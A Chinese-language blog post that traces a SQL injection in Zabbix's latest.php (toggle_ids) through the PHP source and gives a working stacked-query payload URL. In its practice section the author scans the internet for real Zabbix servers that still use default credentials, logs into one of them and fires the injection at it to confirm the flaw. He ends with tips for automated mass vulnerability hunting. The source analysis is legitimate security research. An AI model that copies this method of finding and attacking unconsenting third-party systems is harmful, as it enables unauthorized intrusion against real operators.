Zabbix latest.php Insert注入分析与实践

来源:互联网 发布:最新cpi数据 编辑:程序博客网 时间:2024/05/18 12:02

概要

因为未能过滤掉latest.php页面中toggle_ids数组的输入,导致Zabbix 2.2.x,3.0.x 远程SQL注入

源码分析

下载了两份官方代码对比,左为3.0.4(已修复的版本),右为3.0.3

\zabbix-3.0.3rc1\frontends\php\jsrpc.php

compare1

compare2

可见新版本中删除的代码即为漏洞触发部分。

/* * Ajax */if (hasRequest('favobj')) {    if ($_REQUEST['favobj'] == 'toggle') {        // $_REQUEST['toggle_ids'] can be single id or list of ids,        // where id xxxx is application id and id 0_xxxx is 0_ + host id        if (!is_array($_REQUEST['toggle_ids'])) {            if ($_REQUEST['toggle_ids'][1] == '_') {                $hostId = substr($_REQUEST['toggle_ids'], 2);                CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);            }            else {                $applicationId = $_REQUEST['toggle_ids'];                CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);            }        }        else {            foreach ($_REQUEST['toggle_ids'] as $toggleId) {                if ($toggleId[1] == '_') {                    $hostId = substr($toggleId, 2);                    CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId);                }                else {                    $applicationId = $toggleId;                    CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId);                }            }        }    }}

$_REQUEST获取的数据未经过滤,直接带入CProfile::update() 暂存更新的数据。

zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php

    public static function update($idx, $value, $type, $idx2 = 0) {        if (is_null(self::$profiles)) {            self::init();        }        if (!self::checkValueType($value, $type)) {            return;        }        $profile = [            'idx' => $idx,            'value' => $value,            'type' => $type,            'idx2' => $idx2        ];        $current = self::get($idx, null, $idx2);        if (is_null($current)) {            if (!isset(self::$insert[$idx])) {                self::$insert[$idx] = [];            }            self::$insert[$idx][$idx2] = $profile;        }        else {            if ($current != $value) {                if (!isset(self::$update[$idx])) {                    self::$update[$idx] = [];                }                self::$update[$idx][$idx2] = $profile;            }        }        if (!isset(self::$profiles[$idx])) {            self::$profiles[$idx] = [];        }        self::$profiles[$idx][$idx2] = $value;    }

latest.php末尾包含page_footer.php(line 829)

require_once dirname(__FILE__).'/include/page_footer.php';

跟入page_footer.php(line 38)

if (CProfile::isModified()) {    DBstart();    $result = CProfile::flush();    DBend($result);}

继续跟入CProfile::flush()

    public static function flush() {        $result = false;        if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {            $result = true;            foreach (self::$insert as $idx => $profile) {                foreach ($profile as $idx2 => $data) {                    $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);                }            }            ...        }        return $result;    }

继续跟入self::insertDB()

private static function insertDB($idx, $value, $type, $idx2) {        $value_type = self::getFieldByType($type);        $values = [            'profileid' => get_dbid('profiles', 'profileid'),            'userid' => self::$userDetails['userid'],            'idx' => zbx_dbstr($idx),            $value_type => zbx_dbstr($value),            'type' => $type,            'idx2' => $idx2        ];        return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');    }

跟入DBexecute()
php/include/db.inc.php (line 499)

function DBexecute($query, $skip_error_messages = 0) {    global $DB;    if (!isset($DB['DB']) || empty($DB['DB'])) {        return false;    }    $result = false;    $time_start = microtime(true);    $DB['EXECUTE_COUNT']++;    switch ($DB['TYPE']) {        case ZBX_DB_MYSQL:            if (!$result = mysqli_query($DB['DB'], $query)) {                error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');            }            break;    ... ...    }    if ($DB['TRANSACTIONS'] != 0 && !$result) {        $DB['TRANSACTION_NO_FAILED_SQLS'] = false;    }    CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query);    return (bool) $result;}

最终在mysqli_query()执行。

实践

参考漏洞作者给出的Payload

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

直接访问latest.php 会返回一个You must login to view this page. 漏洞作者也指出登录后才可以(包括guest账号)。

懒得搭环境了,zabbix默认口令为admin/zabbix,正好之前写过这个PoC,先用它跑出几台机器试试。

https://github.com/Xyntax/POC-T/blob/master/script/zabbix-weakpass.py

python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30

结果还不少:

result

拿其中一个站,登录之后访问:

http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#

这里又报无权限,看了下源码,将sid参数值设置为登录后sessionid的后16位。

这里写图片描述

再次提交,回显看到MySQL的报错,证明漏洞存在。

这里写图片描述

自动化验证Tips

做自动化PoC的一个问题:不清楚用的什么数据库,难以获得可信度大的回显(如 md5(0x11)

源码中显示支持这些
* oracle
* mysql
* db2
* postgresql
* sqlite3

源码对于不同数据库报错格式有两种,可用于PoC验证的特征字段:

  • error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
  • error('SQL error ['.$query.'] in ['.$e.']');

目前可以用作检验标准的特征字段是:

  • table class="msgerr"
  • li class="error"
  • Error in query [ or SQL error [

可以多实践一些版本增加PoC的容错性。

刷洞的话不如直接用jsrpc.php的PoC:
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-sqli.py

0 0
原创粉丝点击